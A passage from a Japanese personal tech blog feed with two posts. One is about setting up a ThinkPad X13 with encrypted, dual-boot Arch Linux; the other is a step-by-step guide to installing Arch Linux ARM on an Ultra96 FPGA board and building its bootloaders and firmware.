&lt;blockquote class=&quot;twitter-tweet tw-align-center&quot; data-dnt=&quot;true&quot;&gt;&lt;p lang=&quot;ja&quot; dir=&quot;ltr&quot;&gt;MB とか入れ替えてとりあえずの環境作ってる。Intel のドキュメントで名指しされてるとウワサの i7-3930k から i3-3220 &lt;a href=&quot;https://t.co/KeOmagCLuY&quot;&gt;pic.twitter.com/KeOmagCLuY&lt;/a&gt;&lt;/p&gt;&amp;mdash; ✧*。ヾ(｡ᐳ﹏ᐸ｡)ﾉﾞ。*✧ (@myon___) &lt;a href=&quot;https://twitter.com/myon___/status/1270882200037122050?ref_src=twsrc%5Etfw&quot;&gt;June 11, 2020&lt;/a&gt;&lt;/blockquote&gt; &lt;script async src=&quot;https://platform.twitter.com/widgets.js&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt;

## ようやく見つけた ThinkPad X13

性能面での辛さに加え、電源やスペースの関係で設置場所を選ぶデスクトップ PC を使うことも辛くなってきました。普段クーラーのない部屋で作業していたのですが、そこを今夏の暑さが襲ったのです。流石に身の危険を感じ、クーラーのある部屋に無理やり場所を作って[^1]作業をしつつ、空いた時間に PC を探すといった日々が始まったのでした。

[^1]: デスクはなく、床または小さな台に座っての作業となった

とはいったものの、時期が悪かったりするせいか、なかなか良さげな機種が見つかりません。要求は

- 13型ノート
- 1.5kg 以下
- 最新世代の CPU 搭載 (Zen 2 な Ryzen が気になる)
- 構成カスタマイズ可能

という感じです。まぁ Zen 2 なモバイルプロセッサは出たばかりだしそれはそうという感じですが... そして少し待ってようやく見つけたのが今回の ThinkPad X13 です。もっと待てば選択肢が増えたりするかもとも思いましたが、できる限り早く欲しかったので、一晩悩んだ末にポチりました。

&lt;blockquote class=&quot;twitter-tweet tw-align-center&quot; data-dnt=&quot;true&quot;&gt;&lt;p lang=&quot;ja&quot; dir=&quot;ltr&quot;&gt;うーん &lt;a href=&quot;https://t.co/3GE6ihYKRX&quot;&gt;pic.twitter.com/3GE6ihYKRX&lt;/a&gt;&lt;/p&gt;&amp;mdash; ✧*。ヾ(｡ᐳ﹏ᐸ｡)ﾉﾞ。*✧ (@myon___) &lt;a href=&quot;https://twitter.com/myon___/status/1286991781922353153?ref_src=twsrc%5Etfw&quot;&gt;July 25, 2020&lt;/a&gt;&lt;/blockquote&gt; &lt;script async src=&quot;https://platform.twitter.com/widgets.js&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt;

選んだ構成の主要なものをあげるとこんな感じです。

- [AMD Ryzen 5 PRO 4650U](https://www.amd.com/en/products/apu/amd-ryzen-5-pro-4650u)
- DDR4 3200MHz 16GB (8GB x 2)
- M.2 PCIe-NVMe SSD 256GB
- 13.3型FHD液晶 IPS 光沢なし
- バックライト付英語キーボード
- 指紋センサーなし
- 3年間 引き取り修理

CPU には Ryzen 5 PRO を選択しました。搭載可能な RAM が最大 32GB に増える Ryzen 7 PRO とかなり迷ったのですが、単純に予算の問題と、今までデスクトップで使ってきた i7-3930K とコア数が同じということで比べやすいかなということでこうしました。RAM が 16GB なのには少し不安もありますが、今までの経験から大半の作業ではなんとか収まってくれるだろうと仕方なく妥協することにしました。

SSD は手元の機器では初めての PCIe-NVMe 接続なものです。VAIO Z2 の RAID 0 構成な SSD もそこそこ速い部類でしたが、これよりも強そうなので楽しみです。もともと持ち歩くデータはそんなに多くなく、容量は 128GB でも十分ではあるのですが、たまに大きなデータや FPGA とかの開発環境を持ち歩こうとして厳しくなることがあったので倍の 256GB としました。

キーボードは英字配列です。VAIO Z2 購入当時はあまりキーボードの配列にこだわりはなかったのですが、その後すぐ出会った HHKB Lite2 で英字配列に慣れてしまい、以来日本語キーボードでも英字設定で使ったりしてきたためです。VAIO のときはなんとなくで付けたバックライトも、暗いところで便利なのがわかった[^2]ので今回も付けました。

[^2]: キーボードをずっと見て打つことはなくても、ふとした時に見えないと不安で打てなくなるタイプなので

ThinkPad ユーザが愛用していそうなイメージのある指紋センサは外しました。普段 Linux を使う身としては設定がめんどくさそうに感じたのと、削って少し安くなるならそうしたかったためです。オプションの3年間の引き取り修理は、過去に ThinkPad 使いの友人を見てて不安だったので付けました。

## #archlinuxinstallbattle

プリインストールされた OS[^win] で最低限の動作確認を済ませたのち、Arch Linux をインストールしました。

![](./screenfetch.png)

[^win]: 今の Windows で初期設定時ローカルアカウントを作る方法、ネットワークに接続しない以外にない感じなんですかね...

プリインストールされた OS は、ファームウェアのアップデートやその他何かあったときのためとりあえず残し、デュアルブートを組むことにしました。パーティションを約 48GB にまで縮小し、空いた領域に Arch Linux 用のパーティションを作りました。`nvme0n1p1` が ESP、`nvme0n1p4` がシステム用の LUKS パーティション、`nvme0n1p5` が swap という感じにしました。

    $ lsblk
    NAME          MAJ:MIN RM   SIZE RO TYPE  MOUNTPOINT
    nvme0n1       259:0    0 238.5G  0 disk
    ├─nvme0n1p1   259:1    0   260M  0 part  /boot
    ├─nvme0n1p2   259:2    0    16M  0 part
    ├─nvme0n1p3   259:3    0    48G  0 part
    ├─nvme0n1p4   259:4    0   186G  0 part
    │ └─cryptroot 254:0    0   186G  0 crypt /var/lib/docker/btrfs
    ├─nvme0n1p5   259:5    0   3.2G  0 part
    │ └─cryptswap 254:1    0   3.2G  0 crypt [SWAP]
    └─nvme0n1p6   259:6    0  1000M  0 part

そしたらあとはいつもどおりにやるだけです。といっても、自分は Arch Linux のクリーンインストールはかなり久しぶりで、公式のインストールメディアも記憶にあるものと若干違った感じになってて戸惑うこともありました。例えば無線 LAN 接続には `wifi-menu` を使っていた覚えがあるのですが今は [`iwctl` になっていたり](https://wiki.archlinux.org/index.php/Installation_guide#Connect_to_the_internet)、いい感じのミラーサーバを [`reflector` が勝手に設定](https://wiki.archlinux.org/index.php/Installation_guide#Select_the_mirrors)してくれてたり。このあたりは定期的に確認しておきたいですね。

ブートローダには systemd-boot を使うことにしました。ディスクの暗号化をするときはカーネル、initramfs、ブートローダの設定まで LUKS 上に置ける GRUB を使いたい思いがあるのですが、Secure Boot[^secboot] と組み合わせたときかなり面倒になる[^grub]ことがわかったので諦めました。systemd-boot も、起動時のメニューで OS の選択やブートオプション編集など十分な機能があったり、`bootctl` など専用のコマンドラインツールもあったりして好きですけどね。

    $ bootctl status
    System:
         Firmware: UEFI 2.70 (Lenovo 0.4176)
      Secure Boot: enabled
       Setup Mode: user
     Boot into FW: supported
    
    Current Boot Loader:
          Product: systemd-boot 246.3-1-arch
         Features: ✓ Boot counting
                   ✓ Menu timeout control
                   ✓ One-shot menu timeout control
                   ✓ Default entry control
                   ✓ One-shot entry control
                   ✓ Support for XBOOTLDR partition
                   ✓ Support for passing random seed to OS
                   ✓ Boot loader sets ESP partition information
              ESP: /dev/disk/by-partuuid/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
             File: └─/EFI/systemd/shimx64.efi
    
    Random Seed:
     Passed to OS: no
     System Token: set
           Exists: yes
    
    Available Boot Loaders on ESP:
              ESP: /boot (/dev/disk/by-partuuid/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx)
             File: └─/EFI/systemd/shimx64.efi
             File: └─/EFI/systemd/mmx64.efi
             File: └─/EFI/systemd/systemd-bootx64.efi (systemd-boot 246.3-1-arch)
             File: └─/EFI/systemd/grubx64.efi (systemd-boot 246.3-1-arch)
             File: └─/EFI/BOOT/bootx64.efi (systemd-boot 246.3-1-arch)
    
    Boot Loaders Listed in EFI Variables:
            Title: Shim
               ID: 0x0002
           Status: active, boot-order
        Partition: /dev/disk/by-partuuid/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
             File: └─/EFI/systemd/shimx64.efi
    
            Title: Linux Boot Manager
               ID: 0x0001
           Status: inactive, boot-order
        Partition: /dev/disk/by-partuuid/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
             File: └─/EFI/systemd/systemd-bootx64.efi
    
            Title: Windows Boot Manager
               ID: 0x0000
           Status: active, boot-order
        Partition: /dev/disk/by-partuuid/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
             File: └─/EFI/Microsoft/Boot/bootmgfw.efi
    
    Boot Loader Entries:
            $BOOT: /boot (/dev/disk/by-partuuid/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx)
    
    Default Boot Loader Entry:
            title: Arch Linux
               id: arch.conf
           source: /boot/loader/entries/arch.conf
            linux: /vmlinuz-linux
           initrd: /amd-ucode.img
                   /initramfs-linux.img
          options: root=/dev/mapper/cryptroot rw rootflags=subvol=@ rd.luks.name=xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx=cryptroot loglevel=3

[^secboot]: Fast Boot や GOP 目的で、Linux を使う場合でも自分で生成した鍵でカーネルを署名して Secure Boot を有効にしている
[^grub]: [署名された EFI バイナリであっても chainload できない](https://wiki.archlinux.org/index.php/Unified_Extensible_Firmware_Interface/Secure_Boot#shim_with_key_and_GRUB)らしく、実際にやろうとしてもうまく行かなかったので

X13 での Arch Linux は、概ね問題なく動いていますが、いくつか問題もありました。気づいたもので

- UEFI のセットアップメニューで Sleep State を Linux にしないとスリープできない
- [画面輝度の保存・復帰が正しく動作していない](https://wiki.archlinux.org/index.php/backlight#Backlight_is_always_at_full_brightness_after_a_reboot_with_amdgpu_driver)
- 背面の microSD カードリーダーが正しく認識されていない

があります。

## おわり

こんな感じでようやく環境を引っ越せました。まだ使い始めて日は経っていないですが、なかなかの性能で、それでいて発熱もひどくなくファンも静かめでいい感じです。正直に書くと、ここ最近の CPU について、ベンチマークサイトを見ながら「クロックやコア数が上がってこのスコアならそれはそうだよね」などと目立った進化がない印象を持っていたところがありました。もちろんそんなことはなく、実際に8年前のデスクトップ用途に匹敵するものが薄いノートに載ってるのも1つの大きな進化なわけで、自分が典型的なベンチマークのスコアから誤った判断をするタイプになっていたのを反省です。

&quot;ようやく&quot; 環境を引っ越せました、と書いたように、届いてから使えるようにするまでかなり時間がかかってしまいました。というのも設定がある程度済んできた開封日の夜、Secure Boot 関連の設定をしていたときのことでした。UEFI のセットアップメニューから再起動したところ、30秒くらい文字がバーッと流れ、その後ブートループするようになってしまったのです。

&lt;blockquote class=&quot;twitter-tweet tw-align-center&quot; data-dnt=&quot;true&quot;&gt;&lt;p lang=&quot;und&quot; dir=&quot;ltr&quot;&gt;...... &lt;a href=&quot;https://t.co/gDHQjU6yuA&quot;&gt;pic.twitter.com/gDHQjU6yuA&lt;/a&gt;&lt;/p&gt;&amp;mdash; ✧*。ヾ(｡ᐳ﹏ᐸ｡)ﾉﾞ。*✧ (@myon___) &lt;a href=&quot;https://twitter.com/myon___/status/1291738440212475906?ref_src=twsrc%5Etfw&quot;&gt;August 7, 2020&lt;/a&gt;&lt;/blockquote&gt; &lt;script async src=&quot;https://platform.twitter.com/widgets.js&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt;

[フォーラムのこんな投稿](https://forums.lenovo.com/t5/ThinkPad-P-and-W-Series-Mobile/P73-endless-POST-loop-Configuration-changed-Restart-the-system/m-p/4593233)を見つけ不安になったりしましたが、サポートに電話したところすぐ修理を手配してもらえました。8/17 に引き取りに来て、8/26 に帰ってきました。この件に関して、自分も普段あまりいじるべきでないところをいじっていたというのもあるのでクレームなどを言う気は全く無いですが、今後のアップデートでファームウェアの安定性はもっと上がるといいなと思います。また何かあっても嫌なので、Secure Boot の設定はまた違う方法、[Shim](https://aur.archlinux.org/packages/shim-signed/) を使ったもので簡単に済ませました。

とまぁこんな感じにトラブルなどありましたが、今度のマシンも長く使っていけるといいなと思います (✿╹◡╹)ﾉ</content:encoded></item><item><title>Ultra96 で Arch Linux ARM を動かす</title><link>https://myon.info/blog/2020/11/29/archlinux-arm-on-zu/</link><guid isPermaLink="true">https://myon.info/blog/2020/11/29/archlinux-arm-on-zu/</guid><pubDate>Sun, 29 Nov 2020 00:00:00 GMT</pubDate><content:encoded>[Zynq UltraScale+ MPSoC](https://www.xilinx.com/products/silicon-devices/soc/zynq-ultrascale-mpsoc.html) をはじめとする Xilinx の各種プラットフォーム上で、決められた用途の Linux ベースなシステムを構築するなら公式で提供されている [PetaLinux Tools](https://www.xilinx.com/products/design-tools/embedded-software/petalinux-sdk.html) が便利です。以前取り上げた [Ultra96 のアレ](/blog/2019/05/15/ultra96-julia-set-explorer/)でも使っています。一方で、動かした Linux 環境の上で雑な作業したいなどの用途では、構築後の拡張がしにくい PetaLinux Tools は微妙です。例えば Raspberry Pi 向けに提供される [Raspberry Pi OS](https://www.raspberrypi.org/software/) のような汎用の Linux ディストリビューションベースの環境が欲しくなります。

Ultra96 向けに提供される汎用の Linux ディストリビューションベースな環境として、例えば [PYNQ](http://www.pynq.io/) が Ubuntu ベースらしかったり、[ikwzm さんの Debian 10 イメージ](https://github.com/ikwzm/ZynqMP-FPGA-Linux) などが見つかります。ただ、自分としては普段使って慣れている [Arch Linux](https://www.archlinux.org/) 環境があるともっと嬉しいな... ということで、[Arch Linux ARM](https://archlinuxarm.org/) を動かしてみました。

![](./screenfetch.png)

この記事では、前半でインストール方法の一例を、後半で関連するファイル類などをあげた GitHub リポジトリ [Tosainu/zynqmp-arch][zynqmp-arch] について紹介していきます。

&lt;!--more--&gt;

## インストール方法

### 準備

作業にあたって必要なツールなどは次の通りです。

- Linux 環境 (Arch Linux, Ubuntu, CentOS など)
- [Vitis 2020.1](https://www.xilinx.com/products/design-tools/vitis.html)[^2020-2]
- ライブラリを静的リンクした QEMU の User space emulator
- [arch-install-scripts](https://github.com/archlinux/arch-install-scripts)

[^2020-2]: つい最近 [v2020.2](https://www.xilinx.com/support/download/index.html/content/xilinx/en/downloadNav/vivado-design-tools/2020-2.html) が出たっぽいですね。自分はまだ確認できていませんが、&quot;- Petalinux now a part of Xilinx Unified Installer&quot; が気になります。あの微妙なインストーラが改善されてたりするのかな...

今回紹介するインストール方法には、Linux 環境がインストールされた PC が必要です。特に後半の作業は Arch Linux があると楽ですが、Vitis がサポートする Ubuntu や CentOS でも大丈夫だと思います。ちなみに自分は Arch Linux を使い、Vitis は [systemd-nspawn](https://wiki.archlinux.org/index.php/Systemd-nspawn) を使って構築した Ubuntu 環境内で動かしています[^nspawn]。

[Xilinx Software Command-Line Tool](https://www.xilinx.com/html_docs/xilinx2020_1/vitis_doc/upu1569395223804.html) (xsct) や同梱される aarch64 と microblaze 向けクロスコンパイラなども利用するため Vitis が必要です。Vivado だけではだめです

[^nspawn]: Vitis はインストールサイズが 100GB 程度もあって[以前紹介した](/blog/2018/09/15/install-xilinx-tools-into-docker-container/) Docker 環境だと扱いづらくなる

インストールの後半、SD カードに展開した Arch Linux ARM システム初期設定のため chroot する作業があります。もちろんターゲットが ARM なので、直接 chroot はできません。今回は QEMU の力を借ります。QEMU は、[binfmt_misc](https://www.kernel.org/doc/html/latest/admin-guide/binfmt-misc.html) と組み合わせて aarch64 向けの ELF をあたかも作業マシン上で直に実行できるかのようにしておきます。Arch Linux であれば AUR の [binfmt-qemu-static][binfmt-qemu-static] と [qemu-user-static][qemu-user-static] パッケージが利用できます ([ArchWiki][qemu-wiki])。Docker イメージの [multiarch/qemu-user-static][multiarch-qemu-static] を使うのも簡単です。

Arch Linux 環境に chroot する際には arch-install-scripts の [`arch-chroot`][arch-chroot-man] が便利です。Arch Linux では `pacman` からインストールできます。それ以外のディストリビューションでも、(使えるかは未確認ですが) こんな感じにインストールできます。もちろん `arch-chroot` を使わない方法もありますが、ここでは取り扱いません。

    $ git clone https://github.com/archlinux/arch-install-scripts
    $ cd arch-install-scripts
    $ make
    $ make install PREFIX=~/.local

### FPGA デザインの作成

まずは Vivado で FPGA のデザインを作成します。とりあえず動かすものなら、IP Integrator で Zynq UltraScale+ MPSoC ブロックを配置するだけでよいと思います。

Ultra96 に載ってる Bluetooth を使いたい場合には少し設定が必要です。[Avnet/Ultra96-PYNQ](https://github.com/Avnet/Ultra96-PYNQ) リポジトリなどの情報によれば、まず PS の設定から UART 0 の MODEM にチェックを入れて

![](./psconfig.png)

そのあと PS のブロックから生えた `emio_uart0_ctsn`, `emio_uart0_rtsn` を適当な名前のポートで外に出します。

![](./ps.png)

あとはこんな感じの `.xdc` ファイルを追加して外に出したポートにピンを割り当てればよいそうです。

```tcl
set_property -dict { PACKAGE_PIN B7   IOSTANDARD LVCMOS18 } [get_ports { BT_ctsn }]; 
set_property -dict { PACKAGE_PIN B5   IOSTANDARD LVCMOS18 } [get_ports { BT_rtsn }];
```

作成したデザインの Bitstream 生成まで済ませたら `.xsa` ファイルを出力します。TCL Console から次のコマンドを実行するのが簡単です。

```tcl
write_hw_platform -fixed -include_bit system.xsa
```

### SD カードへのインストール

時間のかかる Arch Linux ARM の tarball のダウンロードから始めるのがおすすめです。Arch Linux ARM は、特定のプラットフォーム向けのもののほか汎用の (Generic) tarball が提供されており、今回はその aarch64 版を使います。[ここ](https://archlinuxarm.org/platforms/armv8/generic) から `ArchLinuxARM-aarch64-latest.tar.gz` をダウンロードしておきます。

SD カードには少なくとも2つのパーティションを作ります。1つが後ほど作成する `BOOT.BIN` やカーネルを置くもの、残りが Arch Linux ARM の rootfs を展開するものです。

パーティションテーブルの操作には `fdisk` を使うことにします。第1引数に接続した SD カードに対応するデバイス (ここでは `/dev/sdX`) を渡して起動し

    $ sudo fdisk /dev/sdX

まずは `o` コマンドで新しく空のパーティションテーブルを作成します。

    Command (m for help): o
    Created a new DOS disklabel with disk identifier 0xad9770e8.

`n` コマンドで1つ目のパーティションを作成します。サイズは 100 ~ 200 MB 程度あれば十分だと思います。作成したパーティションは、`t` コマンドでタイプを W95 FAT16 (LBA) `0x0e` または W95 FAT32 (LBA) `0x0c` に変更しておきます。

    Command (m for help): n
    Partition type
    p   primary (0 primary, 0 extended, 4 free)
    e   extended (container for logical partitions)
    Select (default p): p
    Partition number (1-4, default 1): 1
    First sector (2048-124975103, default 2048):
    Last sector, +/-sectors or +/-size{K,M,G,T,P} (2048-124975103, default 124975103): +200M
    
    Created a new partition 1 of type &apos;Linux&apos; and of size 200 MiB.
    
    Command (m for help): t
    Selected partition 1
    Hex code or alias (type L to list all): e
    Changed type of partition &apos;Linux&apos; to &apos;W95 FAT16 (LBA)&apos;.

再度 `n` コマンドを使い、rootfs 用のパーティションを作っていきます。今回は残った領域全体を1つのパーティションにしました。

    Command (m for help): n
    Partition type
    p   primary (1 primary, 0 extended, 3 free)
    e   extended (container for logical partitions)
    Select (default p): p
    Partition number (2-4, default 2):
    First sector (411648-124975103, default 411648):
    Last sector, +/-sectors or +/-size{K,M,G,T,P} (411648-124975103, default 124975103):
    
    Created a new partition 2 of type &apos;Linux&apos; and of size 59.4 GiB.

最後に `w` コマンドでパーティションテーブルを反映させれば完了です。

    Command (m for help): w
    The partition table has been altered.
    Calling ioctl() to re-read partition table.
    Syncing disks.

パーティションを作り終わったら、1つ目のパーティションを FAT16 (または FAT32) [^fat1]で、残りを適当なファイルシステム[^f2fs] (下の例は EXT4) でフォーマットします。

    $ sudo mkfs.vfat /dev/sdX1
    $ sudo mkfs.ext4 /dev/sdX2

[^fat1]: [Technical Reference Manual (ug1085)](https://www.xilinx.com/support/documentation/user_guides/ug1085-zynq-ultrascale-trm.pdf) の &quot;Chapter 11: Boot and Configuration&quot; によると FAT16 / FAT32 ともに対応しているらしい。いろいろ試した感じ、電源投入後に基板上の DONE_LED (D1) 点灯までの時間が FAT16 のほうが速い気がするので FAT16 で運用してみてる

[^f2fs]: 自分は F2FS を試しています

フォーマットしたパーティションは、適当なディレクトリ (`/mnt` など) にマウントし、そこにダウンロードした `ArchLinuxARM-aarch64-latest.tar.gz` を展開します。

    $ sudo mount /dev/sdX2 /mnt
    $ sudo mkdir -p /mnt/boot
    $ sudo mount /dev/sdX1 /mnt/boot
    
    $ sudo bsdtar -xpf ArchLinuxARM-aarch64-latest.tar.gz -C /mnt
    $ sync

### 展開した Arch Linux ARM 環境の初期設定

SD カードに展開した Arch Linux ARM 環境は、そのままでは Ultra96 で動かすのに微妙です。例えば WiFi 関連パッケージが入っていないので、そのまま起動させても必要なパッケージを追加したりするのが難しかったりします。展開した環境に chroot し、パッケージの削除・更新・追加などをして実機で起動させたあと困らない状態にしておきます。

前述したとおり、chroot には `arch-chroot` コマンドを使います。`/dev` や `/sys` のマウント・アンマウントや、`/etc/resolv.conf` への symlink を張ってくれる便利なヤツです。

    $ sudo arch-chroot /mnt /bin/bash

chroot したら、特に意味はないですが `lscpu` みたいなコマンドを実行してみるのがおすすめです。不思議な気持ちになれます。

    # lscpu
    Architecture:                    aarch64
    CPU op-mode(s):                  32-bit, 64-bit
    Byte Order:                      Little Endian
    Address sizes:                   48 bits physical, 48 bits virtual
    CPU(s):                          12
    On-line CPU(s) list:             0-11
    Thread(s) per core:              2
    Core(s) per socket:              6
    Socket(s):                       1
    NUMA node(s):                    1
    Vendor ID:                       AuthenticAMD
    CPU family:                      23
    Model:                           96
    Model name:                      AMD Ryzen 5 PRO 4650U with Radeon Graphics
    (...)

Arch Linnux ARM 公式の手順通りに、まずは pacman keyring を初期化します。

    # packan-key --init
    # packan-key --populate archlinuxarm

続いて `/etc/pacman.conf` を編集しパッケージリポジトリを追加します。ここで指定している `zynqmp-arch.myon.info` は、前述した GitHub リポジトリの GitHub Pages を使ってホストしているもので、Zynq UltraScale+ MPSoC 向けのカーネルや Ultra96-V2 の WiFi ドライバなどのパッケージを配布しています。このあたりの詳細については後ほど紹介します。

    # cat &gt;&gt; /etc/pacman.conf &lt;&lt;EOS
    
    [zynqmp-arch]
    SigLevel = Never
    Server = https://zynqmp-arch.myon.info/\$arch
    EOS

Arch Linux ARM の tarball は、この記事執筆時点での最終更新日が 2020/08/09 とちょっと古めなのでパッケージを更新しておきたいところです。ただその前にまず、今後使わなさそうなパッケージをアンインストールしておきます。特にカーネル (`linux-aarch64`) は、更新時の initramfs の再生成が結構時間がかかってつらいので消しておくとよいです。`pacman` に渡すオプションは、`dhcpcd` などはそれらが依存するパッケージも消すために `-Rncs` で、`linux-aarch64` はパッケージ単体を消すために `-Rnd` とするとよさそうです。

    # pacman -Rncs dhcpcd net-tools netctl
    # pacman -Rnd linux-aarch64

そうしたら、システムのパッケージを更新したり

    # pacman -Syu

WiFi 接続に使う `iwd` や、`zynqmp-arch` リポジトリのカーネルや WiFi ドライバなど必要なパッケージをインストールします。

    # pacman -S iwd
    # pacman -S linux-zynqmp
    # pacman -S wilc3000-ultra96v2 wilc-firmware

いろいろパッケージのインストールが済んだら、必要なくなったパッケージのアンインストールもしておくとよいでしょう。

    # pacman -Rncs $(pacman -Qdtq)

ユーザアカウントや `/etc/fstab` の設定[^fstab]をして完了です。`exit` で chroot 環境を抜けます。

    # passwd
    # passwd alarm

    # cat &gt;&gt; /etc/fstab &lt;&lt;EOS
    /dev/mmcblk0p2 /     ext4 defaults 0 1
    /dev/mmcblk0p1 /boot vfat defaults 0 2
    EOS

    # exit

[^fstab]: Ultra96 にさした micro SD カードは特別なことをしなければ `/dev/mmcblk0` になると思うのでこれで指定しています。たくさん SATA や NVMe などのストレージを載せるマシンだと、ポートを繋ぎ変えたときなどでも目的のパーティションを確実にマウントさせるため UUID やラベルを使ったりします

### ブートローダ・ファームウェアのビルド

最後に、First Stage Boot Loader (FSBL) や U-Boot といったブートローダと、ARM Trusted Firmware や PMU のファームウェアの準備、およびそれらをまとめたブートイメージ `BOOT.BIN` を作ります。これらの手順は、[Xilinx Wiki のこのあたり](https://xilinx-wiki.atlassian.net/wiki/spaces/A/pages/460653138/Xilinx+Open+Source+Linux) にまとまっているので、あわせて確認するとよいでしょう。

FSBL と PMU Firmware のソースコードは、Xilinx Software Command-Line Tool を使って出力できます。まず、Vivado で出力した `.xsa` ファイルを、新たに作成したディレクトリにコピーしておきます。これは、このあと `xsct` で呼び出す [`hsi::open_hw_design`](https://www.xilinx.com/html_docs/xilinx2020_1/vitis_doc/dxk1575554094185.html) コマンドが、`.xsa` ファイルあるディレクトリにその中身[^xsa]を展開してくるためです。

    $ mkdir xsct &amp;&amp; cd $_
    $ cp /path/to/system.xsa .

[^xsa]: `.xsa` ファイルは Zip 形式で圧縮されたファイルっぽい

`xsct` コマンドを実行し、そのインタプリタで次のコマンドを実行します。単にソースコードを出力させるだけならもっと簡単にできるのですが、メッセージの出力を UART 1 に変更するためこうなっています。これらコマンドを実行すると、最初に作成したディレクトリの `fsbl`, `pmufw` にそれぞれのソースコードが出力されます。

    $ xsct

    xsct% set hw_design [hsi open_hw_design system.xsa]

    xsct% set sw_design [hsi create_sw_design fsbl -proc psu_cortexa53_0 -os standalone]
    xsct% hsi set_property CONFIG.stdin  psu_uart_1 [hsi get_os]
    xsct% hsi set_property CONFIG.stdout psu_uart_1 [hsi get_os]
    xsct% hsi add_library xilffs
    xsct% hsi add_library xilpm
    xsct% hsi add_library xilsecure
    xsct% hsi generate_app -hw $hw_design -sw $sw_design -app zynqmp_fsbl -dir fsbl
    xsct% hsi close_sw_design $sw_design

    xsct% set sw_design [hsi create_sw_design pmufw -proc psu_pmu_0 -os standalone]
    xsct% hsi set_property CONFIG.stdin  psu_uart_1 [hsi get_os]
    xsct% hsi set_property CONFIG.stdout psu_uart_1 [hsi get_os]
    xsct% hsi add_library xilfpga
    xsct% hsi add_library xilsecure
    xsct% hsi add_library xilskey
    xsct% hsi generate_app -hw $hw_design -sw $sw_design -app zynqmp_pmufw -dir pmufw
    xsct% hsi close_sw_design $sw_design

    xsct% exit

実行するコマンドは TCL のスクリプトにしておき、それを `xsct` コマンドに渡してもいいかもしれません。

    $ xsct script.tcl

Ultra96 では、PMU Firmware のデフォルトで無効になっているいくつかのオプションを指定してやると便利です。基板上の電源ボタンでシャットダウンが効くように、`Makefile` の `CFLAGS` に `-DENABLE_MOD_ULTRA96` および `-DULTRA96_VERSION=&lt;Ultra96 のバージョン&gt;` を追記します。

    $ sed -i &apos;s/^\(CFLAGS :=.*$\)/\1 -DENABLE_MOD_ULTRA96 -DULTRA96_VERSION=2/&apos; pmufw/Makefile

また、電源ボタンやコマンドなどからのシャットダウンで完全に電源を落とすために、`pmufw/xpfw_config.h` を編集し `PMU_MIO_INPUT_PIN_VAL`, `BOARD_SHUTDOWN_PIN_VAL`, `BOARD_SHUTDOWN_PIN_STATE_VAL` を `1` に変更します。

    $ sed -i &apos;s/^\(#define\s\+PMU_MIO_INPUT_PIN_VAL\).*/\1 (1U)/;
              s/^\(#define\s\+BOARD_SHUTDOWN_PIN_VAL\).*/\1 (1U)/;
              s/^\(#define\s\+BOARD_SHUTDOWN_PIN_STATE_VAL\).*/\1 (1U)/&apos; pmufw/xpfw_config.h

ソースコードの準備ができたらビルドします。ビルドに使われる aarch64 や microblaze のクロスコンパイラは、何もしなければ Vitis に入っているものが使われます。ビルドが終わると、それぞれのディレクトリに `executable.elf` が出力されます。ちなみにここで実行している `make` にビルドのジョブ数の指定オプション (`-jN`) を付けてはいけません。よくある依存関係が微妙な `Makefile` のようでビルドに失敗することがあります。

    $ make -C fsbl
    $ make -C pmufw

続いて Arm Trusted Firmware と U-Boot をビルドします。これらはソースコードを落としてきてビルドするだけなので簡単です。`make` 時にクロスコンパイラの実行ファイル名のプレフィックスを `CROSS_COMPILE` に指定すること、Arm Trusted Firmware の出力を UART 1 にするため `ZYNQMP_CONSOLE=cadence1` を付けること、U-Boot ビルド時に Arm Trusted Firmware ビルド時の生成物である `bl31.bin` のファイルパスが必要なことあたりがポイントです。U-Boot ビルド時 `DEVICE_TREE` に指定している `avnet-ultra96-rev1` は、厳密には初代 Ultra96 のものです。ただ U-Boot ではあまり関係ないのと、Linux ブート時に渡す Device Tree はまた別のものを指定できるので特に問題ないです。

    $ mkdir arm-trusted-firmware &amp;&amp; cd $_
    $ curl -L https://github.com/Xilinx/arm-trusted-firmware/archive/xilinx-v2020.1.tar.gz | \
        tar xz --strip-components=1 -C .

    $ CROSS_COMPILE=aarch64-linux-gnu- ARCH=aarch64 \
        make -j12 PLAT=zynqmp RESET_TO_BL31=1 ZYNQMP_CONSOLE=cadence1

    $ cd ..

    $ mkdir u-boot-xlnx &amp;&amp; cd $_
    $ curl -L https://github.com/Xilinx/u-boot-xlnx/archive/xilinx-v2020.1.tar.gz | \
        tar xz --strip-components=1 -C .

    $ CROSS_COMPILE=aarch64-linux-gnu- ARCH=aarch64 make xilinx_zynqmp_virt_defconfig
    $ CROSS_COMPILE=aarch64-linux-gnu- ARCH=aarch64 \
        DEVICE_TREE=&quot;avnet-ultra96-rev1&quot; \
        BL31=$PWD/../arm-trusted-firmware/build/zynqmp/release/bl31.bin \
        make -j12 u-boot.elf

    $ cd ..

ここまででビルドしたもの、および Bitstream を適当なディレクトにコピーし、`bootgen` コマンドを使って `BOOT.BIN` ファイルを出力します。Bitstream には、`xsct` が展開したものを使うのが楽そうです。作成した `BOOT.BIN` は、SD カードの第1パーティションにコピーします。

    $ mkdir boot &amp;&amp; cd $_
    $ cp ../xsct/fsbl/executable.elf fsbl.elf
    $ cp ../xsct/pmufw/executable.elf pmufw.elf
    $ cp ../xsct/&lt;bitstream_name&gt;.bit bitstream.bit
    $ cp ../arm-trusted-firmware/build/zynqmp/release/bl31/bl31.elf .
    $ cp ../u-boot-xlnx/u-boot.elf .

    $ cat &gt; boot.bif &lt;&lt;EOS
    the_ROM_image:
    {
      [destination_cpu=a53-0, bootloader]                       fsbl.elf
      [destination_cpu=pmu]                                     pmufw.elf
      [destination_device=pl]                                   bitstream.bit
      [destination_cpu=a53-0, exception_level=el-3, trustzone]  bl31.elf
      [destination_cpu=a53-0, exception_level=el-2]             u-boot.elf
    }
    EOS

    $ bootgen -arch zynqmp -image boot.bif -w -o BOOT.BIN
    $ sudo cp BOOT.BIN /mnt/boot/

